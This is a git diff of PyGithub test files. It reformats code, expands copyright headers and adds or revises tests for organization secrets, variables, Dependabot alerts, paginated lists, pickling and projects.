self.assertFalse(repo.has_wiki) self.assertFalse(repo.has_pages) def testCreateRepoFromTemplate(self): template_repo = self.g.get_repo("actions/hello-world-docker-action") - repo = self.org.create_repo_from_template( - "hello-world-docker-action-new", template_repo - ) + repo = self.org.create_repo_from_template("hello-world-docker-action-new", template_repo) self.assertEqual( repo.url, "https://api.github.com/repos/BeaverSoftware/hello-world-docker-action-new", @@ -379,6 +423,7 @@ def testCreateRepoFromTemplateWithAllArguments(self): "hello-world-docker-action-new", template_repo, description=description, + include_all_branches=True, private=private, ) self.assertEqual(repo.description, description) @@ -388,19 +433,68 @@ def testCreateRepoFromTemplateWithAllArguments(self): def testCreateSecret(self, encrypt): # encrypt returns a non-deterministic value, we need to mock it so the replay data matches encrypt.return_value = "M+5Fm/BqTfB90h3nC7F3BoZuu3nXs+/KtpXwxm9gG211tbRo0F5UiN0OIfYT83CKcx9oKES9Va4E96/b" - self.assertTrue(self.org.create_secret("secret-name", "secret-value", "all")) + secret = self.org.create_secret("secret-name", "secret-value", "all") + self.assertIsNotNone(secret) @mock.patch("github.PublicKey.encrypt") def testCreateSecretSelected(self, encrypt): - # encrypt returns a non-deterministic value, we need to mock it so the replay data matches repos = [self.org.get_repo("TestPyGithub"), self.org.get_repo("FatherBeaver")] + # encrypt returns a non-deterministic value, we need to mock it so the replay data matches encrypt.return_value = "M+5Fm/BqTfB90h3nC7F3BoZuu3nXs+/KtpXwxm9gG211tbRo0F5UiN0OIfYT83CKcx9oKES9Va4E96/b" - self.assertTrue( - self.org.create_secret("secret-name", "secret-value", "selected", repos) - ) + secret = self.org.create_secret("secret-name", "secret-value", "selected", repos) + self.assertIsNotNone(secret) + self.assertEqual(secret.visibility, "selected") + self.assertEqual(list(secret.selected_repositories), repos) - def testDeleteSecret(self): - self.assertTrue(self.org.delete_secret("secret-name")) + def testGetSecret(self): + repos = [self.org.get_repo("TestPyGithub"), self.org.get_repo("FatherBeaver")] + secret = self.org.get_secret("secret-name") + self.assertEqual(secret.name, "secret-name") + self.assertEqual(secret.created_at, datetime(2019, 8, 10, 14, 59, 22, tzinfo=timezone.utc)) + self.assertEqual(secret.updated_at, datetime(2020, 1, 10, 14, 59, 22, tzinfo=timezone.utc)) + self.assertEqual(secret.visibility, "selected") + self.assertEqual(list(secret.selected_repositories), repos) + self.assertEqual(secret.url, "https://api.github.com/orgs/BeaverSoftware/actions/secrets/secret-name") + + def testGetSecrets(self): + secrets = self.org.get_secrets() + self.assertEqual(len(list(secrets)), 1) + + def testGetDependabotSecrets(self): + secrets = self.org.get_secrets(secret_type="dependabot") + self.assertEqual(len(list(secrets)), 1) + + def testGetDependabotAlerts(self): + alerts = self.org.get_dependabot_alerts() + alert_list = list(alerts) + self.assertEqual(len(list(alerts)), 8) + self.assertEqual(alert_list[0].number, 1) + self.assertEqual(alert_list[0].repository.full_name, "BeaverSoftware/PyGithub") + + def testGetDependabotAlertsWithAllArguments(self): + alerts = self.org.get_dependabot_alerts( + "open", + "medium", + "pip", + "jinja2", + "runtime", + "updated", + "asc", + ) + alert_list = list(alerts) + self.assertEqual(len(list(alerts)), 1) + self.assertEqual(alert_list[0].number, 1) + self.assertEqual(alert_list[0].state, "open") + self.assertEqual(alert_list[0].security_advisory.severity, "medium") + self.assertEqual(alert_list[0].dependency.package.ecosystem, "pip") + self.assertEqual(alert_list[0].dependency.package.name, "jinja2") + self.assertEqual(alert_list[0].dependency.scope, "runtime") + self.assertEqual(alert_list[0].repository.full_name, "BeaverSoftware/PyGithub") + + def testGetSecretsFail(self): + with self.assertRaises(AssertionError) as raisedexp: + self.org.get_secrets(secret_type="secret") + self.assertEqual("secret_type should be actions or dependabot", str(raisedexp.exception)) def testInviteUserWithNeither(self): with self.assertRaises(AssertionError) as raisedexp: @@ -422,9 +516,7 @@ def testInviteUserByEmail(self): def testInviteUserWithRoleAndTeam(self): team = self.org.create_team("Team created by PyGithub") - self.org.invite_user( - email="foo@example.com", role="billing_manager", teams=[team] - ) + self.org.invite_user(email="foo@example.com", role="billing_manager", teams=[team]) def testInviteUserAsNonOwner(self): with self.assertRaises(github.GithubException) as raisedexp: @@ -440,11 +532,7 @@ def testInviteUserAsNonOwner(self): def testCreateMigration(self): self.org = self.g.get_organization("sample-test-organisation") - self.assertTrue( - isinstance( - self.org.create_migration(["sample-repo"]), github.Migration.Migration - ) - ) + self.assertTrue(isinstance(self.org.create_migration(["sample-repo"]), github.Migration.Migration)) def testGetMigrations(self): self.org = self.g.get_organization("sample-test-organisation") @@ -457,3 +545,27 @@ def testGetInstallations(self): self.assertEqual(installations[0].target_id, 3344556) self.assertEqual(installations[0].target_type, "User") self.assertEqual(installations.totalCount, 1) + + def testCreateVariable(self): + variable = self.org.create_variable("variable-name", "variable-value", "all") + self.assertIsNotNone(variable) + + def testCreateVariableSelected(self): + repos = [self.org.get_repo("TestPyGithub"), self.org.get_repo("FatherBeaver")] + variable = self.org.create_variable("variable-name", "variable-value", "selected", repos) + self.assertIsNotNone(variable) + self.assertEqual(list(variable.selected_repositories), repos) + + def testGetVariable(self): + repos = [self.org.get_repo("TestPyGithub"), self.org.get_repo("FatherBeaver")] + variable = self.org.get_variable("variable-name") + self.assertEqual(variable.name, "variable-name") + self.assertEqual(variable.created_at, datetime(2019, 8, 10, 14, 59, 22, tzinfo=timezone.utc)) + self.assertEqual(variable.updated_at, datetime(2020, 1, 10, 14, 59, 22, tzinfo=timezone.utc)) + self.assertEqual(variable.visibility, "selected") + self.assertEqual(list(variable.selected_repositories), repos) + self.assertEqual(variable.url, "https://api.github.com/orgs/BeaverSoftware/actions/variables/variable-name") + + def testGetVariables(self): + variables = self.org.get_variables() + self.assertEqual(len(list(variables)), 1) diff --git a/tests/Organization1437.py b/tests/Organization1437.py index 55bea2436e..2aace80ee3 100644 --- a/tests/Organization1437.py +++ b/tests/Organization1437.py @@ -1,6 +1,21 @@ ############################ Copyrights and license ############################ # # +# Copyright 2012 Vincent Jacques # +# Copyright 2012 Zearin # +# Copyright 2013 Vincent Jacques # +# Copyright 2014 Vincent Jacques # +# Copyright 2016 Matthew Neal # +# Copyright 2016 Peter Buckley # +# Copyright 2016 Sam Corbett # +# Copyright 2018 sfdye # +# Copyright 2019 Adam Baratz # +# Copyright 2019 Olof-Joachim Frahm (欧雅福) # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># +# Copyright 2019 Wan Liuyang # # Copyright 2020 Anuj Bansal # +# Copyright 2020 Steve Kowalik # +# Copyright 2023 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # diff --git a/tests/Organization2072.py b/tests/Organization2072.py index 0c42fcfae7..1996d487da 100644 --- a/tests/Organization2072.py +++ b/tests/Organization2072.py @@ -1,6 +1,23 @@ ############################ Copyrights and license ############################ # # -# Copyright 2021 James Simpson # +# Copyright 2012 Vincent Jacques # +# Copyright 2012 Zearin # +# Copyright 2013 Vincent Jacques # +# Copyright 2014 Vincent Jacques # +# Copyright 2016 Matthew Neal # +# Copyright 2016 Peter Buckley # +# Copyright 2016 Sam Corbett # +# Copyright 2018 sfdye # +# Copyright 2019 Adam Baratz # +# Copyright 2019 Olof-Joachim Frahm (欧雅福) # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># +# Copyright 2019 Wan Liuyang # +# Copyright 2020 Anuj Bansal # +# Copyright 2020 Steve Kowalik # +# Copyright 2021 James Simpson # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # @@ -29,12 +46,8 @@ def setUp(self): self.org = self.g.get_organization("TestOrganization2072") def testCancelInvitation(self): - self.assertFalse( - any([i for i in self.org.invitations() if i.email == "foo@bar.org"]) - ) + self.assertFalse(any([i for i in self.org.invitations() if i.email == "foo@bar.org"])) self.org.invite_user(email="foo@bar.org") - self.assertTrue( - any([i for i in self.org.invitations() if i.email == "foo@bar.org"]) - ) + self.assertTrue(any([i for i in self.org.invitations() if i.email == "foo@bar.org"])) invitation = [i for i in self.org.invitations() if i.email == "foo@bar.org"][0] self.assertTrue(self.org.cancel_invitation(invitation)) diff --git a/tests/OrganizationHasInMembers.py b/tests/OrganizationHasInMembers.py index 5977198f41..9a85a697f2 100644 --- a/tests/OrganizationHasInMembers.py +++ b/tests/OrganizationHasInMembers.py @@ -1,7 +1,18 @@ ############################ Copyrights and license ############################ # # +# Copyright 2012 Vincent Jacques # +# Copyright 2012 Zearin # +# Copyright 2013 Vincent Jacques # +# Copyright 2014 Vincent Jacques # # Copyright 2016 Matthew Neal # +# Copyright 2016 Peter Buckley # +# Copyright 2016 Sam Corbett # # Copyright 2018 sfdye # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># +# Copyright 2019 Wan Liuyang # +# Copyright 2020 Steve Kowalik # +# Copyright 2023 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # diff --git a/tests/OrganizationSecrets.py b/tests/OrganizationSecrets.py index e4401a2332..8c15d97f8a 100644 --- a/tests/OrganizationSecrets.py +++ b/tests/OrganizationSecrets.py @@ -30,7 +30,7 @@ def setUp(self): self.org = self.g.get_organization("coveooss") with mock.patch("github.PublicKey.encrypt") as encrypt: encrypt.return_value = "MOCK_ENCRYPTED_VALUE" - self.org.create_or_update_secret("test_secret", "does not matter", "all") + self.org.create_secret("test_secret", "does not matter", "all") self.secret = self.org.get_secret("test_secret") self.repo = self.org.get_repo("github-app-playground") self.repo2 = self.org.get_repo("github-app-playground2") @@ -38,9 +38,7 @@ def setUp(self): @mock.patch("github.PublicKey.encrypt", return_value="MOCK_ENCRYPTED_VALUE") def testGetPublicKey(self, _encrypt): org_public_key = self.org.get_public_key() - self.assertEqual( - "aAAAaAAAA11A1Aa1aaaAAA1AAAaAAAAaAAa1/AAaA11=", org_public_key.key - ) + self.assertEqual("aAAAaAAAA11A1Aa1aaaAAA1AAAaAAAAaAAa1/AAaA11=", org_public_key.key) self.assertEqual("123456789012345678", org_public_key.key_id) @mock.patch("github.PublicKey.encrypt", return_value="MOCK_ENCRYPTED_VALUE") @@ -49,96 +47,69 @@ def testCreateOrUpdateSecret(self, _encrypt): new_secret_value = "new secret value" visibility = "all" - created = self.org.create_or_update_secret( - new_secret_name, new_secret_value, visibility - ) - self.assertTrue(created) - created_again = self.org.create_or_update_secret( - new_secret_name, new_secret_value, visibility - ) - self.assertFalse(created_again) - - gotten_secret = self.org.get_secret(new_secret_name) + gotten_secret = self.org.create_secret(new_secret_name, new_secret_value, visibility) self.assertEqual(new_secret_name, gotten_secret.name) self.assertEqual(visibility, gotten_secret.visibility) - self.org.delete_secret(gotten_secret.name) + gotten_secret.delete() - def will_raise(): + def no_repos_if_visibility_private(): # Cannot have selected_repository_ids with visibility "private" - self.org.create_or_update_secret( + self.org.create_secret( "not_important", "not important either", visibility="private", - selected_repository_ids=[self.repo.id, self.repo2.id], + selected_repositories=[self.repo, self.repo2], ) - self.assertRaisesRegex( - ValueError, - "selected_repository_ids can only be used with visibility `selected`", - will_raise, - ) + self.assertRaises(AssertionError, no_repos_if_visibility_private) - def will_also_raise(): + def no_repos_if_visibility_all(): # Cannot have selected_repository_ids with visibility "all" - self.org.create_or_update_secret( + self.org.create_secret( "not_important", "not important either", visibility="all", - selected_repository_ids=[self.repo.id, self.repo2.id], + selected_repositories=[self.repo, self.repo2], ) - self.assertRaisesRegex( - ValueError, - "selected_repository_ids can only be used with visibility `selected`", - will_also_raise, - ) + self.assertRaises(AssertionError, no_repos_if_visibility_all) - def will_raise_again(): - self.org.create_or_update_secret( + def repos_must_be_a_list(): + self.org.create_secret( "not_important", "not important either", visibility="selected", - selected_repository_ids=self.repo.id, + selected_repositories=self.repo, ) - self.assertRaisesRegex( - ValueError, "selected_repository_ids should be a list", will_raise_again - ) + self.assertRaises(AssertionError, repos_must_be_a_list) - def will_raise_a_final_time(): - self.org.create_or_update_secret( + def bad_repo_type(): + self.org.create_secret( "not_important", "not important either", visibility="selected", - selected_repository_ids=["not", "integers"], + selected_repositories=["not", "integers"], ) - self.assertRaisesRegex( - ValueError, - "selected_repository_ids elements should all be int", - will_raise_a_final_time, - ) + self.assertRaises(AssertionError, bad_repo_type) - created_the_third = self.org.create_or_update_secret( + self.org.create_secret( "not_important", "not important either", visibility="selected", - selected_repository_ids=[self.repo.id, self.repo2.id], + selected_repositories=[self.repo, self.repo2], ) - self.assertTrue(created_the_third) - - created4 = self.org.create_or_update_secret( + secret = self.org.create_secret( "not_important", "not important either", visibility="selected", - selected_repository_ids=[self.repo.id], + selected_repositories=[self.repo], ) - self.assertFalse(created4) - - self.org.delete_secret("not_important") + secret.delete() def testGetSecret(self): secret = self.org.get_secret(self.secret.name) @@ -159,38 +130,26 @@ def testGetSecrets(self): @mock.patch("github.PublicKey.encrypt", return_value="MOCK_ENCRYPTED_VALUE") def testSecretSelectedRepositories(self, _encrypt): - self.org.create_or_update_secret("exclusive_secret", "nothing", "selected") - exclusive_secret = self.org.get_secret("exclusive_secret") + exclusive_secret = self.org.create_secret("exclusive_secret", "nothing", "selected", []) - secret_selected_repositories = self.org.list_secret_selected_repositories( - exclusive_secret.name - ) - self.assertEqual(0, secret_selected_repositories.totalCount) + self.assertEqual(0, exclusive_secret.selected_repositories.totalCount) - self.org.set_secret_selected_repositories( - exclusive_secret.name, [self.repo.id, self.repo2.id] - ) - secret_selected_repositories_again = self.org.list_secret_selected_repositories( - exclusive_secret.name - ) + exclusive_secret.set_repos([self.repo.id, self.repo2.id]) + secret_selected_repositories = exclusive_secret.selected_repositories self.assertEqual(2, secret_selected_repositories.totalCount) self.assertListKeyEqual( - secret_selected_repositories_again, + secret_selected_repositories, lambda s: s.id, [self.repo.id, self.repo2.id], ) - self.org.remove_secret_selected_repository(exclusive_secret.name, self.repo.id) - secret_selected_repositories3 = self.org.list_secret_selected_repositories( - exclusive_secret.name - ) - self.assertEqual(1, secret_selected_repositories3.totalCount) - self.assertEqual(self.repo2.id, secret_selected_repositories3[0].id) + exclusive_secret.remove_repo(self.repo) + secret_selected_repositories = exclusive_secret.selected_repositories + self.assertEqual(1, secret_selected_repositories.totalCount) + self.assertEqual(self.repo2.id, secret_selected_repositories[0].id) - self.org.remove_secret_selected_repository(exclusive_secret.name, self.repo2.id) - self.org.add_secret_selected_repository(exclusive_secret.name, self.repo.id) - secret_selected_repositories4 = self.org.list_secret_selected_repositories( - exclusive_secret.name - ) - self.assertEqual(1, secret_selected_repositories4.totalCount) - self.assertEqual(self.repo.id, secret_selected_repositories4[0].id) + exclusive_secret.remove_repo(self.repo2) + exclusive_secret.add_repo(self.repo) + secret_selected_repositories = exclusive_secret.selected_repositories + self.assertEqual(1, secret_selected_repositories.totalCount) + self.assertEqual(self.repo.id, secret_selected_repositories[0].id) diff --git a/tests/PaginatedList.py b/tests/PaginatedList.py index 9a7bf7f1c8..b1a1c120c9 100644 --- a/tests/PaginatedList.py +++ b/tests/PaginatedList.py @@ -8,6 +8,16 @@ # Copyright 2015 Eliot Walker # # Copyright 2016 Peter Buckley # # Copyright 2018 sfdye # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># +# Copyright 2019 Wan Liuyang # +# Copyright 2020 Steve Kowalik # +# Copyright 2021 Steve Kowalik # +# Copyright 2022 Liuyang Wan # +# Copyright 2023 Andrew Dawes <53574062+AndrewJDawes@users.noreply.github.com> # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # +# Copyright 2023 YugoHino # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # @@ -37,10 +47,17 @@ def setUp(self): super().setUp() self.repo = self.g.get_user("openframeworks").get_repo("openFrameworks") self.list = self.repo.get_issues() + self.licenses = self.g.get_enterprise("beaver-group").get_consumed_licenses() def testIteration(self): self.assertEqual(len(list(self.list)), 333) + def testIterationWithPrefetchedFirstPage(self): + # test data taken from EnterpriseAdmin.testGetEnterpriseUsers + users = self.licenses.get_users() + self.assertEqual(len(list(users)), 102) + self.assertEqual(len({user.github_com_login for user in users}), 102) + def testSeveralIterations(self): self.assertEqual(len(list(self.list)), 333) self.assertEqual(len(list(self.list)), 333) @@ -181,12 +198,8 @@ def testSliceIndexingInFirstPage(self): lambda i: i.id, [4772349, 4700182, 4604661, 4554058, 4507492], ) - self.assertListKeyEqual( - self.list[10:13], lambda i: i.id, [4539985, 4507572, 4507492] - ) - self.assertListKeyEqual( - self.list[5:13:3], lambda i: i.id, [4608132, 4557803, 4507572] - ) + self.assertListKeyEqual(self.list[10:13], lambda i: i.id, [4539985, 4507572, 4507492]) + self.assertListKeyEqual(self.list[5:13:3], lambda i: i.id, [4608132, 4557803, 4507572]) def testSliceIndexingUntilFourthPage(self): self.assertListKeyEqual( @@ -263,7 +276,8 @@ def testInterruptedIteration(self): def testInterruptedIterationInSlice(self): # No asserts, but checks that only three pages are fetched count = 0 - for element in self.list[:100]: # pragma no branch (exits only by break) + # pragma no branch (exits only by break) + for element in self.list[:100]: count += 1 if count == 75: break @@ -314,3 +328,18 @@ def testCustomPerPageWithGetPage(self): def testNoFirstPage(self): self.assertFalse(next(iter(self.list), None)) + + def testMergeDicts(self): + self.assertDictEqual( + PaginatedListImpl.merge_dicts( + {"a": 1, "b": 2, "c": 3}, + {"c": 4, "d": 5, "e": 6}, + ), + {"a": 1, "b": 2, "c": 4, "d": 5, "e": 6}, + ) + + def testOverrideAttributes(self): + input_dict = {"a": 1, "b": 2, "c": 3} + overrides_dict = {"c": 4, "d": 5, "e": 6} + transformer = PaginatedListImpl.override_attributes(overrides_dict) + self.assertDictEqual(transformer(input_dict), {"a": 1, "b": 2, "c": 4, "d": 5, "e": 6}) diff --git a/tests/Permissions.py b/tests/Permissions.py index 29fa8d9414..d1af6765f5 100644 --- a/tests/Permissions.py +++ b/tests/Permissions.py @@ -1,6 +1,19 @@ ############################ Copyrights and license ############################ # # -# Copyright 2020 Karsten Wagner <39054096+karsten-wagner@users.noreply.github.c# +# Copyright 2012 Vincent Jacques # +# Copyright 2012 Zearin # +# Copyright 2013 Vincent Jacques # +# Copyright 2014 Vincent Jacques # +# Copyright 2016 Peter Buckley # +# Copyright 2018 Steve Kowalik # +# Copyright 2018 sfdye # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># +# Copyright 2019 Wan Liuyang # +# Copyright 2020 Steve Kowalik # +# Copyright 2021 Steve Kowalik # +# Copyright 2021 karsten-wagner <39054096+karsten-wagner@users.noreply.github.com># +# Copyright 2023 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # diff --git a/tests/Persistence.py b/tests/Persistence.py index e5e45ae35d..2ff10c9ec9 100644 --- a/tests/Persistence.py +++ b/tests/Persistence.py @@ -1,10 +1,17 @@ ############################ Copyrights and license ############################ # # +# Copyright 2012 Vincent Jacques # +# Copyright 2012 Zearin # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 Peter Buckley # # Copyright 2017 Hugo # # Copyright 2018 sfdye # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># +# Copyright 2019 Wan Liuyang # +# Copyright 2020 Steve Kowalik # +# Copyright 2023 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # diff --git a/tests/Time.py b/tests/Pickle.py similarity index 51% rename from tests/Time.py rename to tests/Pickle.py index 4743eaa308..ddee90774e 100644 --- a/tests/Time.py +++ b/tests/Pickle.py @@ -1,6 +1,8 @@ ############################ Copyrights and license ############################ # # -# Copyright 2018 itsbruce # +# Copyright 2023 Andrew Dawes <53574062+AndrewJDawes@users.noreply.github.com> # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Hemslo Wang # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # @@ -20,15 +22,37 @@ # # ################################################################################ -from datetime import timedelta, tzinfo +import pickle +import unittest +import github +from github.PaginatedList import PaginatedList +from github.Repository import Repository -class UTCtzinfo(tzinfo): - def utcoffset(self, dt): - return timedelta(0) +REPO_NAME = "PyGithub/PyGithub" - def tzname(self, dt): - return "UTC" - def dst(self, dt): - return timedelta(0) +class Pickle(unittest.TestCase): + def testPickleGithub(self): + gh = github.Github() + gh2 = pickle.loads(pickle.dumps(gh)) + self.assertIsInstance(gh2, github.Github) + self.assertIsNotNone(gh2._Github__requester._Requester__connection_lock) + self.assertIsNone(gh2._Github__requester._Requester__connection) + self.assertEqual(len(gh2._Github__requester._Requester__custom_connections), 0) + + def testPickleRepository(self): + gh = github.Github() + repo = gh.get_repo(REPO_NAME, lazy=True) + repo2 = pickle.loads(pickle.dumps(repo)) + self.assertIsInstance(repo2, Repository) + self.assertIsNotNone(repo2._requester._Requester__connection_lock) + self.assertIsNone(repo2._requester._Requester__connection) + self.assertEqual(len(repo2._requester._Requester__custom_connections), 0) + + def testPicklePaginatedList(self): + gh = github.Github() + repo = gh.get_repo(REPO_NAME, lazy=True) + branches = repo.get_branches() + branches2 = pickle.loads(pickle.dumps(branches)) + self.assertIsInstance(branches2, PaginatedList) diff --git a/tests/PoolSize.py b/tests/PoolSize.py index f58b507730..c3bd90451f 100644 --- a/tests/PoolSize.py +++ b/tests/PoolSize.py @@ -1,3 +1,26 @@ +############################ Copyrights and license ############################ +# # +# Copyright 2021 Amador Pahim # +# Copyright 2023 Enrico Minack # +# # +# This file is part of PyGithub. # +# http://pygithub.readthedocs.io/ # +# # +# PyGithub is free software: you can redistribute it and/or modify it under # +# the terms of the GNU Lesser General Public License as published by the Free # +# Software Foundation, either version 3 of the License, or (at your option) # +# any later version. # +# # +# PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # +# WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # +# FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # +# details. # +# # +# You should have received a copy of the GNU Lesser General Public License # +# along with PyGithub. If not, see . # +# # +################################################################################ + import github from . import Framework @@ -17,8 +40,7 @@ def testReturnsRepoAfterSettingPoolSize(self): def testReturnsRepoAfterSettingPoolSizeHttp(self): g = github.Github( - self.login, - self.password, + auth=self.login, base_url="http://my.enterprise.com", pool_size=20, ) diff --git a/tests/Project.py b/tests/Project.py index 489e0846fe..b7a5ab9652 100644 --- a/tests/Project.py +++ b/tests/Project.py @@ -1,9 +1,18 @@ -# ########################## Copyrights and license ############################ +############################ Copyrights and license ############################ # # -# Copyright 2018 bbi-yggy # +# Copyright 2018 Benoit Latinier # +# Copyright 2018 Yossarian King # +# Copyright 2019 Benoit Latinier # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># +# Copyright 2019 Wan Liuyang # +# Copyright 2020 Jody McIntyre # +# Copyright 2020 Steve Kowalik # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # # # This file is part of PyGithub. # -# http://pygithub.github.io/PyGithub/v1/index.html # +# http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # @@ -18,7 +27,7 @@ # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # -# ############################################################################## +################################################################################ import github @@ -56,22 +65,14 @@ def testGetRepositoryProjects(self): def testProjectAttributes(self): pid = 1682941 proj = self.g.get_project(pid) - self.assertEqual( - proj.owner_url, "https://api.github.com/repos/bbi-yggy/PyGithub" - ) + self.assertEqual(proj.owner_url, "https://api.github.com/repos/bbi-yggy/PyGithub") self.assertEqual(proj.url, "https://api.github.com/projects/1682941") - self.assertEqual( - proj.html_url, "https://github.com/bbi-yggy/PyGithub/projects/1" - ) - self.assertEqual( - proj.columns_url, "https://api.github.com/projects/1682941/columns" - ) + self.assertEqual(proj.html_url, "https://github.com/bbi-yggy/PyGithub/projects/1") + self.assertEqual(proj.columns_url, "https://api.github.com/projects/1682941/columns") self.assertEqual(proj.id, pid) self.assertEqual(proj.node_id, "MDc6UHJvamVjdDE2ODI5NDE=") self.assertEqual(proj.name, "TestProject") - self.assertEqual( - proj.body, "To be used for testing project access API for PyGithub." - ) + self.assertEqual(proj.body, "To be used for testing project access API for PyGithub.") self.assertEqual(proj.number, 1) self.assertEqual(proj.state, "open") self.assertEqual(proj.creator, self.repo.owner) @@ -87,9 +88,7 @@ def testProjectColumnAttributes(self): self.assertEqual(col.name, "To Do") self.assertEqual(col.url, "https://api.github.com/projects/columns/3138830") self.assertEqual(col.project_url, "https://api.github.com/projects/1682941") - self.assertEqual( - col.cards_url, "https://api.github.com/projects/columns/3138830/cards" - ) + self.assertEqual(col.cards_url, "https://api.github.com/projects/columns/3138830/cards") self.assertEqual(col.created_at.year, 2018) self.assertTrue(col.updated_at >= col.created_at) self.assertEqual(repr(col), 'ProjectColumn(name="To Do")') @@ -99,15 +98,9 @@ def testProjectCardAttributes(self): proj = self.g.get_project(1682941) col = proj.get_columns()[1] card = col.get_cards()[0] - self.assertEqual( - card.url, "https://api.github.com/projects/columns/cards/11780055" - ) - self.assertEqual( - card.column_url, "https://api.github.com/projects/columns/3138831" - ) - self.assertEqual( - card.content_url, "https://api.github.com/repos/bbi-yggy/PyGithub/issues/1" - ) + self.assertEqual(card.url, "https://api.github.com/projects/columns/cards/11780055") + self.assertEqual(card.column_url, "https://api.github.com/projects/columns/3138831") + self.assertEqual(card.content_url, "https://api.github.com/repos/bbi-yggy/PyGithub/issues/1") self.assertEqual(card.id, 11780055) self.assertEqual(card.node_id, "MDExOlByb2plY3RDYXJkMTE3ODAwNTU=") self.assertEqual(card.note, None) # No notes for cards with content. @@ -125,9 +118,7 @@ def testGetProjectCardContent(self): pull_card = cards[0] pull = pull_card.get_content("PullRequest") self.assertIsInstance(pull, github.PullRequest.PullRequest) - self.assertEqual( - pull.title, "Work in progress on support for GitHub projects API." - ) + self.assertEqual(pull.title, "Work in progress on support for GitHub projects API.") self.assertRaises(ValueError, pull_card.get_content, "foo") issue_card = cards[1] @@ -166,18 +157,14 @@ def testGetAllProjectCards(self): self.assertEqual(cards, expectedCards) def testCreateColumn(self): - project = self.repo.create_project( - "Project created by PyGithub", "Project Body" - ) + project = self.repo.create_project("Project created by PyGithub", "Project Body") column = project.create_column( "Project Column created by PyGithub", ) self.assertEqual(column.id, 3999333) def testCreateCardWithNote(self): - project = self.repo.create_project( - "Project created by PyGithub", "Project Body" - ) + project = self.repo.create_project("Project created by PyGithub", "Project Body") column = project.create_column( "Project Column created by PyGithub", ) @@ -185,9 +172,7 @@ def testCreateCardWithNote(self): self.assertEqual(card1.id, 16039019) def testCreateCardFromIssue(self): - project = self.repo.create_project( - "Project created by PyGithub", "Project Body" - ) + project = self.repo.create_project("Project created by PyGithub", "Project Body") column = project.create_column( "Project Column created by PyGithub", ) diff --git a/tests/Project1434.py b/tests/Project1434.py index 63ba64e1f0..d8594d4e9b 100644 --- a/tests/Project1434.py +++ b/tests/Project1434.py @@ -1,9 +1,24 @@ -# ########################## Copyrights and license ############################ +############################ Copyrights and license ############################ # # +# Copyright 2012 Vincent Jacques # +# Copyright 2012 Zearin # +# Copyright 2013 Vincent Jacques # +# Copyright 2014 Vincent Jacques # +# Copyright 2016 Matthew Neal # +# Copyright 2016 Peter Buckley # +# Copyright 2016 Sam Corbett # +# Copyright 2018 sfdye # +# Copyright 2019 Adam Baratz # +# Copyright 2019 Olof-Joachim Frahm (欧雅福) # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># +# Copyright 2019 Wan Liuyang # # Copyright 2020 Anuj Bansal # +# Copyright 2020 Steve Kowalik # +# Copyright 2023 Enrico Minack # # # # This file is part of PyGithub. # -# http://pygithub.github.io/PyGithub/v1/index.html # +# http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # @@ -18,7 +33,7 @@ # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # -# ############################################################################## +################################################################################ from . import Framework diff --git a/tests/ProjectColumn.py b/tests/ProjectColumn.py index 7df02fa58a..9059b08c04 100644 --- a/tests/ProjectColumn.py +++ b/tests/ProjectColumn.py @@ -1,7 +1,12 @@ -# ########################## Copyrights and license ############################ +############################ Copyrights and license ############################ +# # +# Copyright 2020 Florent Clarret # +# Copyright 2020 Steve Kowalik # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # # # This file is part of PyGithub. # -# http://pygithub.github.io/PyGithub/v1/index.html # +# http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # @@ -16,9 +21,9 @@ # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # -# ############################################################################## +################################################################################ -import datetime +from datetime import datetime, timezone from . import Framework @@ -36,9 +41,7 @@ def testGetProjectColumn(self): self.get_project_column.cards_url, "https://api.github.com/projects/columns/8700460/cards", ) - self.assertEqual( - self.get_project_column.node_id, "MDEzOlByb2plY3RDb2x1bW44NzAwNDYw" - ) + self.assertEqual(self.get_project_column.node_id, "MDEzOlByb2plY3RDb2x1bW44NzAwNDYw") self.assertEqual( self.get_project_column.project_url, 